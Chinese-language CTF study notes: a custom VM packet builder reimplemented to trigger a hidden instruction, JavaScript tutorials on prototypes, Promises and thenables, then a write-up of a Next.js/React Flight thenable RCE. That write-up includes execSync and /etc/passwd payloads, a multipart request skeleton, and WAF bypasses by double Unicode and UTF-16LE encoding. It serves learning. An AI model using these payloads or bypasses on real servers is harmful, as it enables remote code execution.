把 built.meta 对象里的所有 key:value 全部复制到新对象里
类似于 Python 的 {**built.meta}
vm_output: data.output_utf8 || ''
新增/覆盖属性 vm_output
值 = data.output_utf8,如果 data.output_utf8 是 falsy(undefined、null、0、'' 等),就用空字符串 ''
{ ...built.meta, vm_output: ... }
最终生成一个 新的对象
包含原来的 meta + vm_output

1️⃣ 对象展开运算符...
javascript
const a = { x: 1, y: 2 };
const b = { ...a, z: 3 };
console.log(b); // { x:1, y:2, z:3 }
含义:
...a表示将对象a的所有键值对展开到新对象中- 可以同时添加新属性或覆盖现有属性
- 常见用途:对象合并/克隆/属性覆盖
2️⃣ 数组展开运算符...
javascript
const arr1 = [1,2,3];
const arr2 = [...arr1, 4,5];
console.log(arr2); // [1,2,3,4,5]
含义:
...arr1将数组arr1的所有元素展开为独立值- 结合后续元素4,5组成新数组
- 常见用途:数组合并/克隆/元素插入
大概的语法都看懂了。
先写个正常的模仿一下
1️⃣ 用户输入 → AST(抽象语法树)
js
let ast;
try {
ast = parseScript(scriptEl.value); // 解析用户在<textarea>中输入的脚本(如"ECHO hello")
} catch (err) {
...
}
处理流程:
- 输入:
scriptEl.value(用户输入的脚本内容) - 解析过程:
- 处理换行符(
\r?\n) - 过滤空行
- 每行拆分为
[cmd, arg...]格式 - 验证命令有效性(仅允许 ECHO | LEN | HASH)
- 处理换行符(
- 输出:返回
{ op: upper, arg }格式的对象数组(AST)
🔹 生成的AST是JavaScript对象数组,每个指令包含操作名(op)和参数(arg)
2️⃣ AST → 二进制数据包
js
const built = buildPacket(ast);
buildPacket核心逻辑:
-
生成随机nonce
jsconst nonce = new Uint8Array(8); crypto.getRandomValues(nonce); -
构造包头
jschunks.push(...encoder.encode('WVLT')); // 魔数 chunks.push(0x01); // 版本号 chunks.push(...nonce); // 8字节随机数 chunks.push(ast.length & 0xff); // 指令数量 -
指令处理循环
jsast.forEach((node) => { const opId = opMap[node.op]; // 操作码映射 const argBytes = encoder.encode(node.arg); const opCode = encodeOp(opId, nonceLow32); // 混淆操作码 chunks.push(...u32le(opCode)); // 4字节操作码 chunks.push(flags); // 1字节标志位 chunks.push(...u16le(argBytes.length)); // 2字节参数长度 chunks.push(...argBytes); // 参数内容 }); -
生成校验和
jsconst body = Uint8Array.from(chunks); const checksum = fnv1a32(body); const packet = new Uint8Array(body.length + 4); packet.set(body, 0); packet.set(u32le(checksum), body.length); -
返回结构
jsreturn { packet, meta };
🔹 最终生成的packet是前端要传输给后端的二进制数据(Uint8Array格式)
3️⃣ Uint8Array → Base64编码
js
const packetB64 = toBase64(built.packet);
- 将Uint8Array转换为Base64字符串
- 确保数据可通过JSON安全传输
4️⃣ 发送到后端API
js
const response = await fetch('/api/vm', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packet_b64: packetB64 })
});
请求参数:
- URL:
/api/vm - 方法: POST
- 请求头:
Content-Type: application/json - 请求体:
{"packet_b64":"...base64..."}
🔹 前端传输的是经过混淆和打包的二进制数据,而非原始明文脚本
其实直接写
// 模拟输入脚本
const scriptText = `
ECHO Hello World
LEN Another Test
HASH abc123
`;其他复制就可以模拟了
javascript
(() => {
const encoder = new TextEncoder();
// 模拟输入脚本
const scriptText = `
ECHO Hello World
LEN Another Test
HASH abc123
`;
// 解析脚本
function parseScript(text) {
const lines = text.split(/\r?\n/).map(l => l.trim()).filter(Boolean);
return lines.map(line => {
const [cmd, ...rest] = line.split(/\s+/);
const arg = rest.join(' ');
const upper = cmd.toUpperCase();
if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
throw new Error(`Unknown command: ${cmd}`);
}
return { op: upper, arg };
});
}
// 协议 Key
const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
const K1 = ((K[0]<<24)|(K[1]<<16)|(K[2]<<8)|K[3])>>>0;
const K2 = ((K[4]<<24)|(K[5]<<16)|(K[6]<<8)|K[7])>>>0;
const K3 = ((K[8]<<24)|(K[9]<<16)|(K[10]<<8)|K[11])>>>0;
const ROT = 11;
function rotl32(value, shift) {
return ((value << shift) | (value >>> (32 - shift))) >>> 0;
}
function encodeOp(opId, nonceLow32) {
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
const base = ((opId ^ K1) + rot) >>> 0;
return ((base ^ K3) | 0x80000000) >>> 0;
}
function fnv1a32(bytes) {
let hash = 0x811c9dc5;
for (let i = 0; i < bytes.length; i++) {
hash ^= bytes[i];
hash = (hash * 0x01000193) >>> 0;
}
return hash >>> 0;
}
function u32le(value) { return [value & 0xff, (value>>>8)&0xff, (value>>>16)&0xff, (value>>>24)&0xff]; }
function u16le(value) { return [value & 0xff, (value>>>8)&0xff]; }
function toBase64(bytes) {
let s = '';
for (let i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);
return btoa(s);
}
function buildPacket(ast) {
const nonce = new Uint8Array(8);
crypto.getRandomValues(nonce);
const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
const flags = 0x00; // 正常模式
const chunks = [];
chunks.push(...encoder.encode('WVLT'));
chunks.push(0x01);
chunks.push(...nonce);
chunks.push(ast.length & 0xff);
const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
ast.forEach(node => {
const opId = opMap[node.op];
const argBytes = encoder.encode(node.arg);
const opCode = encodeOp(opId, nonceLow32);
chunks.push(...u32le(opCode));
chunks.push(flags);
chunks.push(...u16le(argBytes.length));
chunks.push(...argBytes);
});
const body = Uint8Array.from(chunks);
const checksum = fnv1a32(body);
const packet = new Uint8Array(body.length + 4);
packet.set(body, 0);
packet.set(u32le(checksum), body.length);
return packet;
}
// 生成 packet_b64
const ast = parseScript(scriptText);
const packet = buildPacket(ast);
const packetB64 = toBase64(packet);
console.log("Base64 Packet:", packetB64);
})();


const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4)
: (opId % 4);
|是按位或。
|-----|-------------------|-----------|-------------|
| ^ | 按位异或(Bitwise XOR) | 两个位不同才为 1 | 5 ^ 3 = 6 |
只要满足 两个条件 ,任何 flags 都可以触发隐藏指令(dispatchIndex = 3):
🔑 条件 1:signedFlags < 0
- 即
flags >= 128(因为flags是 1 字节,0~255) - 二进制最高位为 1 → 被当作有符号数时是负数
🔑 条件 2:(flags | opId) % 4 == 3
💡 注意:
|是按位或,不是加法!
所以那个js脚本然后flags改0x83就行


得到token了


不是,看了这么久语法其实好像只要看关键逻辑就行的。
✅ 简短回答:
chunks里确实只包含opCode(由opId混淆而来)和flags,
而dispatchIndex并不写入 packet,它是后端收到 packet 后,用
opId(从opCode反推) +flags动态计算出来的!**
也就是说:
- 📦 packet 里没有
dispatchIndex字段 - 🧠
dispatchIndex是后端"运行时决策"的结果 - 🔑 前端只是"模拟"这个逻辑给你看(在
meta.instructions里)
🔍 详细拆解
1️⃣ Packet 结构(你发送的内容)
chunks.push(...u32le(opCode)); // ← 4字节:混淆后的 opcode
chunks.push(flags); // ← 1字节:你的 flags(如 0x83)
chunks.push(...u16le(len));
chunks.push(...argBytes);
✅ 所以 packet 中只有:
opCode(加密/混淆过的opId)flags- 参数
没有 opId,也没有 dispatchIndex!
mio's waf
这个nextjs 的rce虽然比赛的时候想到了,但是他有js质询和waf,嗯,当时以为就没有。
虽然,好像只知道nextjs是
Node.js 是 JavaScript 的运行环境(地基)
Next.js 是基于 Node.js 构建的 Web 开发框架(房子)
markdown
# JavaScript 原型机制解析
## 1. Person 构造函数
`Person` 是一个构造函数:
```javascript
function Person(name) {
this.name = name;
}
- 可直接调用(不推荐):
Person("Alice") - 添加静态方法:
javascript
Person.staticMethod = function() { ... } // 静态方法,属于构造函数本身
2. Person.prototype 对象
Person.prototype 是一个普通对象:
javascript
console.log(typeof Person.prototype); // "object"
默认结构:
javascript
Person.prototype = {
constructor: Person, // 指向构造函数
// 可添加其他方法
};
3. 原型方法示例
添加原型方法:
javascript
Person.prototype.sayHi = function() {
console.log("Hi, I'm " + this.name);
};
这表示:
- 所有
new Person()创建的实例都会继承sayHi方法 - 不是
Person函数自身的方法
🔍 验证原型继承
javascript
function Person(name) {
this.name = name;
}
Person.prototype.sayHi = function() {
console.log("Hi, I'm " + this.name);
};
let alice = new Person("Alice");
// 1. 实例调用
alice.sayHi(); // ✅ "Hi, I'm Alice"
// 2. 构造函数调用
Person.sayHi(); // ❌ TypeError
// 3. 方法位置验证
console.log(Person.prototype.sayHi); // ✅ 存在
console.log(alice.sayHi === Person.prototype.sayHi); // true
✅ 结论:sayHi 属于 Person.prototype,通过原型链被实例继承。
🖼️ 关系图解
┌──────────────┐
│ Person │ ← 构造函数
└──────┬───────┘
│
prototype │
▼
┌───────────────────┐
│ Person.prototype │ ← 原型对象
│ - sayHi() │
│ - constructor │
└─────────▲─────────┘
│
__proto__ │
│
┌───────┴───────┐
│ alice │ ← 实例
│ - name │
└───────────────┘
💡 静态方法示例
真正的构造函数方法(静态方法):
javascript
Person.createAnonymous = function() {
return new Person("Anonymous");
};
let anon = Person.createAnonymous(); // ✅
✅ 总结对比
| 写法 | 归属 | 调用方式 | 用途 |
|---|---|---|---|
Person.prototype.method |
实例共享方法 | instance.method() |
所有实例共用方法 |
Person.staticMethod |
构造函数方法 | Person.staticMethod() |
工具方法/工厂函数 |
🔑 Person.prototype 是实例共享的方法集合,不是构造函数自身的方法。
疑问 2:__proto__ 的目的
问 :__proto__ 是干嘛的?
答 :对象的"原型链接",指向继承的方法仓库。访问对象属性时,自己找不到就沿 __proto__ 往上找。

原本 dog 的 __proto__ 指向 Object.prototype 。
但当你写 dog.__proto__ = animalMethods,你手动覆盖了它,切断了默认链。
默认情况(不赋值):
const dog = {};
console.log(dog.__proto__ === Object.prototype); // true ✅
→ 此时"方法仓库"是 Object.prototype(里面有 toString, hasOwnProperty 等)。

疑问 3:prototype 的目的
问 :prototype 又是干嘛的?
答 :构造函数的"共享方法仓库"。实例通过 __proto__ 链接到它,实现方法共享、节省内存。
疑问 4:为什么方法要挂 prototype 上(旧语法)
问 :Person.prototype.sayHi = ... 这么写好怪,现在还用吗?
答 :不用了。这是 2015 年前的旧写法,为了共享方法。现在用 class 语法,方法自动共享,写在一起更整洁。
疑问 5:function 还能表示类吗?
问 :以前 function 当类用,现在呢?
答 :技术上还能,但实践中完全不用 class 替代了。class 本质是语法糖,底层还是 function + prototype,但强制 new、报错更安全、写法更直观。
__proto__ 是用来在"找不到属性时,沿着原型链向上查找"的机制 ------ 不只是方法,也包括任何属性。

1️⃣ Promise 是什么?(异步的"信封")
在 JavaScript 中,有些操作是异步的(比如读文件、发请求),不能立刻拿到结果。
Promise 就是一个容器,用来"装未来的结果":
let promise = new Promise((resolve) => {
setTimeout(() => resolve("数据来了!"), 1000);
});
// 1秒后打印 "数据来了!"
promise.then(result => console.log(result));
确实隔了1秒

2️⃣ Thenable 是什么?("像 Promise 的东西")
JavaScript 引擎(包括 React、Node.js、浏览器)在遇到一个值时,会问:
"你是不是 Promise?"
但它不只认真正的 Promise,而是检查:
"你有没有
.then方法?"
如果有,就认为你是 Thenable(可 then 的对象),并按 Promise 方式处理!
✅ 合法的 Thenable 示例:
javascript
let myThenable = {
then(resolve, reject) {
resolve("我是假 Promise,但能用!");
}
};
// 这行代码会等待 myThenable 执行完!
await myThenable; // → "我是假 Promise,但能用!"
🔥 关键规则 :
任何有.then方法的对象,都会被await或.then()当作异步任务执行!

then(resolve, reject) { ... }是对象字面量中定义方法的简写形式,等价于then: function(resolve, reject) { ... }。
它不需要写 function 关键字,但底层仍然是一个函数!
你提到的:
function hanshu(...) { ... }
这是 函数声明(Function Declaration),是最经典、最常见的函数定义方式。
✅ 特点:
-
会被 提升(hoisted):可以在定义前调用。
-
是一个独立的语句,不是"值"。
-
通常用于定义全局或模块级的函数。
hanshu(); // ✅ 可以!因为函数声明被提升了
function hanshu() {
console.log("我是普通函数");
}
❓那我之前写的:
{
then(resolve, reject) {
resolve("成功啦!");
}
}
这又是什么?
这是 对象字面量中的方法简写(Method Shorthand in Object Literal) ------ 它不是独立的函数声明 ,而是给对象添加一个方法!
它等价于:
{
then: function(resolve, reject) {
resolve("成功啦!");
}
}
这里的 then 是对象的一个属性(property),它的值是一个函数。
所以你可以这样理解:
| 写法 | 类型 | 用途 |
|---|---|---|
function hanshu() { } |
函数声明 | 定义一个独立的函数 |
obj = { hanshu() { } } |
对象方法(简写) | 给对象 obj 添加一个叫 hanshu 的方法 |
异步

📜 你的代码:
// 1. 定义函数
function fetchData(callback) {
setTimeout(() => {
callback("数据来了!");
}, 1000);
}
// 2. 调用函数
fetchData((result) => {
console.log(result); // 1秒后输出
});
// 3. 立刻执行的代码
console.log("先干别的"); // 立刻输出
🔁 运行过程(按时间线)
⏱️ 时间点 0 毫秒:程序开始执行
第一步:定义 fetchData 函数
→ JS 记住:"哦,有个叫 fetchData 的函数,它接收一个 callback 参数。"
✅ 这一步不执行函数体,只是"记住"这个函数。
第二步:调用 fetchData(...)
fetchData((result) => {
console.log(result);
});
-
JS 执行这行代码:
- 把
(result) => { console.log(result); }这个函数 作为参数传给fetchData - 所以在
fetchData内部,callback就等于这个箭头函数
- 把
-
然后进入
fetchData函数体setTimeout(() => { callback("数据来了!"); }, 1000); -
JS 调用
setTimeout,告诉浏览器:"请在 1000 毫秒(1秒)后 ,执行这个箭头函数:
() => { callback("数据来了!"); }"
✅ 关键点 :setTimeout 是异步的 !
→ 它不会等待 1 秒 ,而是立刻返回,让程序继续往下走!
第三步:执行下一行
console.log("先干别的");
- 因为
setTimeout已经"安排好了任务",但不阻塞程序, - 所以这行代码立刻执行!
✅ 输出:
🕒 此时才过了 不到 1 毫秒,1 秒的定时器还在后台计时。
⏱️ 时间点 1000 毫秒(1秒后):定时器触发
-
浏览器(或 Node.js)发现:
"哦,1 秒到了!该执行之前注册的回调了。"
-
于是执行
() => { callback("数据来了!"); } -
而
callback是谁?就是你传进去的那个箭头函数(result) => { console.log(result); } -
所以相当于执行
console.log("数据来了!");
✅ 输出:
🧾 最终输出顺序:
先干别的
数据来了!
✅ 先输出"先干别的",1秒后再输出"数据来了!"
javascript
let promise = new Promise((resolve, reject) => {
// 模拟异步
setTimeout(() => {
let success = true;
if (success) {
resolve("成功!"); // 成功时调用 resolve
} else {
reject("失败了!"); // 失败时调用 reject
}
}, 1000);
});
🔍 运行逻辑详解
-
Promise 创建阶段(同步执行)
new Promise(...)立即执行传入的 executor 函数 (即(resolve, reject) => { ... })。- 此时,JavaScript 引擎会同步地开始执行这个函数体。
- 在函数体内,调用了
setTimeout(..., 1000),这是一个异步操作 ,它将回调函数放入任务队列,1 秒后执行。 - 所以,Promise 对象
promise被立即创建 ,但其状态还是 pending(等待中)。
-
1 秒后(异步回调执行)
setTimeout的回调函数被调用。- 变量
success被设为true。 - 因为
if (success)成立,所以调用resolve("成功!")。 - 此时,Promise 的状态从 pending 变为 fulfilled(已成功) ,并且其结果值为
"成功!"。
-
后续如何使用?
-
虽然你只创建了 Promise,但通常我们会通过
.then()和.catch()来处理结果:promise .then(result => { console.log(result); // 输出:"成功!" }) .catch(error => { console.log(error); // 不会执行 }); -
如果
success = false,则会调用reject("失败了!"),Promise 状态变为 rejected(已失败) ,.catch()会被触发。
-

✅ 核心机制:resolve 和 reject 是从哪来的?
当你写:
let promise = new Promise((resolve, reject) => {
// ...
});
JavaScript 引擎会自动创建两个函数(我们叫它们"能力令牌"):
resolve:用来标记 Promise 成功reject:用来标记 Promise 失败
然后,引擎把这两个函数作为参数传给你的箭头函数(或普通函数)。
所以:
new Promise( (resolve, reject) => { ... } )
// ↑ ↑
// │ └── 第二个参数 = reject 函数
// └── 第一个参数 = resolve 函数
🔁 你在函数内部怎么用它们?
你可以在异步操作完成后,根据实际情况调用其中一个:
setTimeout(() => {
if (成功了) {
resolve(结果数据); // 👈 调用第一个参数(成功)
} else {
reject(错误原因); // 👈 调用第二个参数(失败)
}
}, 1000);
💡 这就像别人给了你两个按钮:
- 绿色按钮(
resolve):按了就表示"任务成功"- 红色按钮(
reject):按了就表示"任务失败"
你只能按其中一个(通常),按了之后 Promise 的状态就永久确定了
是的!✅
resolve("成功!") 中的 "成功!" 会作为 Promise 的"结果值"被传递出去,并最终传给 .then() 的回调函数。
🔁 传递过程详解:
1. 调用 resolve 时保存值
js
编辑
new Promise((resolve, reject) => {
resolve("成功!"); // ← 这个字符串被 Promise 内部记录下来
});
- Promise 状态变为 fulfilled(已成功)。
- 值
"成功!"被永久绑定到这个 Promise 上。
2. 通过 .then() 接收这个值
promise.then((result) => {
console.log(result); // ← 输出: "成功!"
});
.then()的第一个参数(通常叫result、value等)自动接收resolve传入的值。- 这个传递是 Promise 机制的核心功能之一:把异步操作的结果"送出来"。

Q:只能传字符串吗?
A:不!可以传任意类型的值:
resolve(42);
resolve({ name: "Alice" });
resolve([1, 2, 3]);
resolve(fetch("/api/data")); // 甚至可以是一个 Promise!
一、fakePromise 是什么?
看这段代码:
javascript
let fakePromise = { ... };
这实际上是最基础的:
👉 普通对象变量定义
它等价于:
javascript
let fakePromise = new Object();
因此:
fakePromise 就是一个普通对象,不是 Promise 实例,也没有使用任何特殊语法,仅仅是一个变量名。
二、then(resolve, reject) 是什么语法?
这段代码:
javascript
then(resolve, reject) { ... }
需要注意:
- 这不是 Promise 特有的关键字
- 这只是一个对象方法的简写形式
等价于传统写法:
javascript
then: function(resolve, reject) { ... }
也等同于:
javascript
then: (resolve, reject) => { ... }
本质上:
then 就是一个普通的函数属性名
就像这样:
javascript
let obj = {
say(name) {
console.log(name);
}
};
没有任何特殊之处。

任何有 .then 方法的对象,都会被 await 或 .then() 当作异步任务执行!
.then就是对象的then方法 。写成
obj.then是访问对象的then属性 ,而这个属性的值是一个函数 ------ 所以它就是"对象的方法"。
所以你说得完全对:它有的是对象的方法 then,也就是 .then。这两个说法是一回事!
一、await 背后发生了什么?
当你写:
await fakePromise;
JavaScript 引擎不会直接"等待"这个对象 ,而是先检查它是不是 Thenable (即有没有 .then 方法)。
如果发现有,引擎就会主动调用 它的 .then 方法,并悄悄传入两个回调函数作为参数!
这就像:
javascript
// 你写的代码:
await fakePromise;
// 引擎内部实际做的(简化版):
new Promise((resolveOuter, rejectOuter) => {
// 检查 fakePromise 是否有 .then 方法 → 有!
fakePromise.then(
// 第一个参数:成功回调(你代码里的 resolve)
(value) => {
resolveOuter(value); // 把结果传递给 await
},
// 第二个参数:失败回调(你代码里的 reject)
(error) => {
rejectOuter(error);
}
);
});
所以:
- 你没传参数 ✅(你只写了
await fakePromise) - 但引擎在调用
.then时,自动传了两个函数 ✅
这就解释了为什么你的 then(resolve, reject) 能收到参数!

🧠 类比理解:你点外卖
想象你点了一份外卖:
await 外卖;
你只是"下单"(写 await),但外卖平台(JS 引擎)会自动做很多事:
- 打电话给餐厅(调用
.then) - 告诉餐厅:"做好了打这个电话(resolve),出问题打那个电话(reject)"
你不需要知道电话号码(回调函数)是什么,平台自动处理!
同理:
- 你写
await fakePromise - 引擎自动调用
fakePromise.then(successCallback, errorCallback) - 你在
then里拿到的resolve就是那个successCallback
✅ 验证:自己手动调用 .then 也一样!
你可以不用 await,直接调用 .then,效果类似:
let fakePromise = {
then(resolve, reject) {
setTimeout(() => resolve("结果!"), 1000);
}
};
// 手动调用 .then
fakePromise.then(
(value) => console.log("成功:", value),
(error) => console.log("失败:", error)
);

这时候:
- 你(而不是引擎)传入了两个回调
then内部的resolve参数就是你传的第一个函数!
而 await 只是让引擎替你做了这件事,并把结果"解包"出来。
📌 关键结论
| 你写的代码 | 实际发生的事 |
|---|---|
await fakePromise |
引擎检测到 fakePromise.then 是函数 → 自动调用 fakePromise.then(成功回调, 失败回调) |
| 你没传参数 | ✅ 正确!参数是引擎传的,不是你传的 |
resolve 是谁? |
是引擎提供的"成功回调",你调用它就等于告诉引擎:"任务完成了,结果是 xxx" |
💡 补充:这就是 Promises/A+ 规范的要求!
所有兼容 Promise 的系统(浏览器、Node.js、React 等)都遵循 Promises/A+ 规范,其中明确规定:
如果一个对象有
then方法,就称它为 thenable 。当处理 thenable 时,必须调用
then(onFulfilled, onRejected),并传入两个回调。
所以这不是某个引擎的"私货",而是标准行为!
✅ 最后一句话总结:
await fakePromise虽然看起来没传参,但 JS 引擎会在内部自动调用fakePromise.then(resolve, reject),并传入两个回调函数 ------ 这就是resolve和reject的来源!
你理解得非常对:
resolve和reject只是参数名,JavaScript 引擎在调用.then时,会按顺序传入两个函数 ------ 不管你叫它们什么,第一个就是"成功回调",第二个就是"失败回调"。
✅ 示例:随便改名字!
javascript
let myThenable = {
then(苹果, 香蕉) { // ← 把 resolve/reject 改成 苹果/香蕉
console.log(typeof 苹果); // "function"
console.log(typeof 香蕉); // "function"
setTimeout(() => {
苹果("我是结果!"); // 第一个参数 = 成功回调
}, 500);
}
};
(async () => {
const result = await myThenable;
console.log(result); // "我是结果!"
})();

✅ 完全正常运行!输出:
function
function
我是结果!
🔍 为什么可以随便改?
因为 JavaScript 函数的参数是按位置(position)传递的,不是按名字。
引擎调用你的 .then 方法时,本质上是这样:
// 引擎内部(简化):
const onFulfilled = (value) => { /* 处理成功 */ };
const onRejected = (error) => { /* 处理失败 */ };
myThenable.then(onFulfilled, onRejected);
所以:
- 第一个实参 → 对应你函数的第一个形参(不管叫
resolve、done、success、🍎) - 第二个实参 → 对应第二个形参(不管叫
reject、fail、error、🍌)
想象你去点奶茶:
await 点一杯奶茶;
店员(JS 引擎)看到你要点奶茶,就问你:
"做好了怎么通知你?出问题了又怎么通知你?"
你给了他两个联系方式:
- 微信(成功时用)→ 相当于
苹果 - 电话(失败时用)→ 相当于
香蕉
这么学语法好像不太好。应该看系统课吗,没招了。
3️⃣ 漏洞怎么利用这一点?
攻击者想让服务器执行一段代码,但正常情况下服务器不会随便执行用户传的字符串。
于是他想了个 trick:
步骤 1:构造一个"看起来像 Promise"的对象
let fakeChunk = {
then: function(resolve) {
// 这里放恶意代码!
eval("process.mainModule.require('child_process').execSync('id')");
resolve();
}
};
步骤 2:让 React 在解析时"遇到"这个对象
React 在处理 Flight 协议数据时,看到这个对象有 .then,就以为它是合法的 Promise/Thenable,于是:
// React 内部可能这样写:
if (typeof obj.then === 'function') {
await obj; // ← 触发 fakeChunk.then()!
}
→ 恶意代码被执行!
🧱 基础 1:await 不只等 Promise
很多人以为 await 只能用在 new Promise(...) 上,其实不是!
✅ await 可以用在任何 "Thenable" 对象上。
Thenable = 任何有
.then方法的对象
📜 基础 2:JavaScript 语言规范规定
根据 ECMAScript 规范,当你写:
await someValue;
JS 引擎会做一件事(简化版):
如果
someValue是对象,并且有.then方法(且是函数),就把它当作 Promise 来"解析"。
具体怎么"解析"?
→ 调用它的 .then(onFulfilled, onRejected) 方法!
🔍 基础 3:.then 方法是怎么被调用的?
let fake = {
then(resolve, reject) {
console.log("我被执行了!");
resolve("成功");
}
};
// 现在 await 它
(async () => {
let result = await fake;
console.log(result); // "成功"
})();
发生了什么?
-
JS 引擎看到
await fake; -
检查:
fake是对象 ✅,typeof fake.then === 'function'✅; -
于是认为它是 Thenable;
-
立即调用 :js
fake.then( (value) => { /* 把 value 传给 await 的结果 */ }, (error) => { /* 把 error 抛出 */ } ); -
→ 你的
then函数立刻执行!
💡 这就是关键:只要你有
.then,await就会主动调用它!
⚠️ 基础 4:.then 里可以干任何事!
.then 本质上就是一个普通函数。你在里面写什么,它就执行什么:
let evil = {
then(resolve, reject) {
// 这里可以:
alert("弹窗!"); // 浏览器
require('fs').readFileSync('/etc/passwd'); // Node.js
eval("console.log('任意代码')"); // 动态执行
resolve();
}
};
await evil; // ← evil.then() 被调用!所有代码都会跑!
✅ 所以,只要能让某个对象被
await,而它又有恶意.then,就能执行任意代码。

🔄 回到 React 的场景(简单带过)
React 在反序列化数据时,为了支持异步组件,会这样处理对象:
// 伪代码:React 内部逻辑
function deserialize(obj) {
if (typeof obj.then === 'function') {
return await obj; // ← 这里触发 obj.then()
}
return obj;
}
所以,如果你传一个:
{ then: () => { 恶意代码 } }
→ React 一 await,就执行了你的 then!
嗯,感觉这题已经不是省赛的范围了,太超标了。
学习他的编码绕过
核心漏洞:WAF与后端的解码不一致
┌─────────┐ 编码后的Payload ┌─────────┐ 解码一次后的Payload ┌─────────┐
│ 攻击者 │ ───────────────────→ │ WAF │ ───────────────────────→ │ Next.js │
│ (你) │ │ (检查) │ 如果过检,转发给后端 │ (执行) │
└─────────┘ └─────────┘ └─────────┘
↓ 只解码一次
黑名单检查
↓
解码后的内容是否含敏感词?
↓
是 → 拦截(403)
否 → 转发给后端
↓
后端再解码一次 → 执行
关键发现 :WAF只解码一次 ,但后端(Next.js)会再解码一次
双重Unicode编码绕过(本题核心)
第一步:正常Payload(会被拦截)
{
"_response": {
"_prefix": "require('child_process').execSync('id')"
}
}
WAF检查 :发现_response、_prefix、require、child_process → 拦截!
第二步:单次Unicode编码(仍被拦截)
把关键字编码一次:
{
"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {
"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0072\u0065\u0071\u0075\u0069\u0072\u0065..."
}
}
WAF处理:
-
接收请求
-
Unicode解码一次 → 还原成原始的
_response、_prefix等 -
黑名单检查 → 仍然拦截!
第三步:双重Unicode编码(成功绕过)
把已经编码过一次的内容,再编码一次:
原始: {"_response": ...}
↓ 编码一次:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}
↓ 再编码一次:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...
WAF处理流程:
接收:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...(双重编码)
↓
解码一次:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
↓
黑名单检查:含\u005f\u0072...?不含!→ 放行!
↓
转发给Next.js
Next.js处理:
接收:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
↓
再解码一次:{"_response": ...}(原始恶意代码)
↓
执行 → RCE成功!
图解双重编码
你的输入 WAF看到的 Next.js看到的
───────── ─────────── ─────────────
\u007b { {
\u0022 " "
\u005c \ _
\u0075 u r
\u0030 0 e
\u0030 0 s
\u0035 5 p
\u0066 f o
\u0072 r n
\u0065 e s
\u0073 s e
\u0070 p :
... ... ...
实际解码后: 实际解码后:
第一层:\u007b = { 第一层:\u005f = _
第二层:\u005c\u0075... 第二层:直接就是原始字符
另一种绕过:UTF-16LE编码
原理相同,换种编码方式
WAF只检查Unicode解码 ,但后端支持多种编码:
WAF:我只懂Unicode解码,其他编码我不认识,直接放行
Next.js:我支持utf8, utf16le, latin1, base64, hex, ascii...
具体操作
1. 构造正常Payload
{
"_response": {
"_prefix": "require('child_process').execSync('id')"
}
}
2. 整体转为UTF-16LE字节
{ → 0x7B 0x00
" → 0x22 0x00
_ → 0x5F 0x00
...
3. 在HTTP请求中声明编码
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le ← 关键!告诉后端用什么解码
[UTF-16LE编码的二进制数据]
4. WAF处理
看到Content-Type: text/plain; charset=utf16le
但WAF只检查Unicode解码 → 不认识UTF-16LE → 直接放行原始字节
5. Next.js处理
看到charset=utf16le → 用UTF-16LE解码 → 还原成原始JSON → 执行
两种绕过方式对比
| 方式 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| 双重Unicode编码 | 利用解码次数差 | 纯文本,易构造 | 体积翻倍 |
| UTF-16LE编码 | 利用编码类型差 | 一次编码即可 | 需要二进制处理 |
关键思维:解码不一致攻击
┌─────────────────────────────────────────┐
│ 解码不一致攻击模型 │
├─────────────────────────────────────────┤
│ 组件A解码方式 ≠ 组件B解码方式 │
│ ↓ │
│ 构造Payload:在A看来是安全的 │
│ 在B看来是恶意的 │
│ ↓ │
│ 绕过成功! │
└─────────────────────────────────────────┘
其他常见场景:
| 场景 | A组件 | B组件 | 利用方式 |
|---|---|---|---|
| SQL注入 | WAF | MySQL | id=1%2520union → WAF看%2520,MySQL看union |
| XSS | 前端过滤 | 浏览器 | <scr%00ipt> → 前端认scr,浏览器认script |
| 命令执行 | 安全软件 | Bash | cat$IFS/etc/passwd → 软件认字符串,Bash认空格 |
本题完整Payload结构(双重Unicode编码)
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----mioqwq
Next-Action: x
------mioqwq
Content-Disposition: form-data; name="0"
\u007b\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0034... ← 双重编码的JSON
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--
解码流程:
WAF接收:\u007b\u000a...(双重编码)
↓ Unicode解码一次
WAF检查:{"\u0074\u0068\u0065\u006e": ...}(单层,无敏感词)→ 放行
↓ 转发
Next.js接收:{"\u0074\u0068\u0065\u006e": ...}(单层)
↓ 再Unicode解码一次
Next.js执行:{"then": "$1:__proto__:then", "_response": {...}} → RCE!
总结:编码绕过的核心公式
Payload = (你的恶意代码) × (A的解码次数) ÷ (B的解码次数)
| 情况 | 公式 | 结果 |
|---|---|---|
| A解码1次,B解码2次 | 编码2次 | A看到安全,B看到恶意 ✓ |
| A不解码,B解码 | 任意编码 | A看到乱码/原文,B看到恶意 ✓ |
| A解码,B不解码 | 不编码或编码1次 | 看具体过滤 |
本题 :WAF解码1次,Next.js解码2次 → 需要编码2次
什么时候二次编码有效?
只有当满足以下两个条件时,二次编码才可能成功:
表格
| 条件 | 说明 |
|---|---|
| 1. WAF 只解码一次 | WAF 拿到请求后,做一次 urldecode(),然后检测关键词。 |
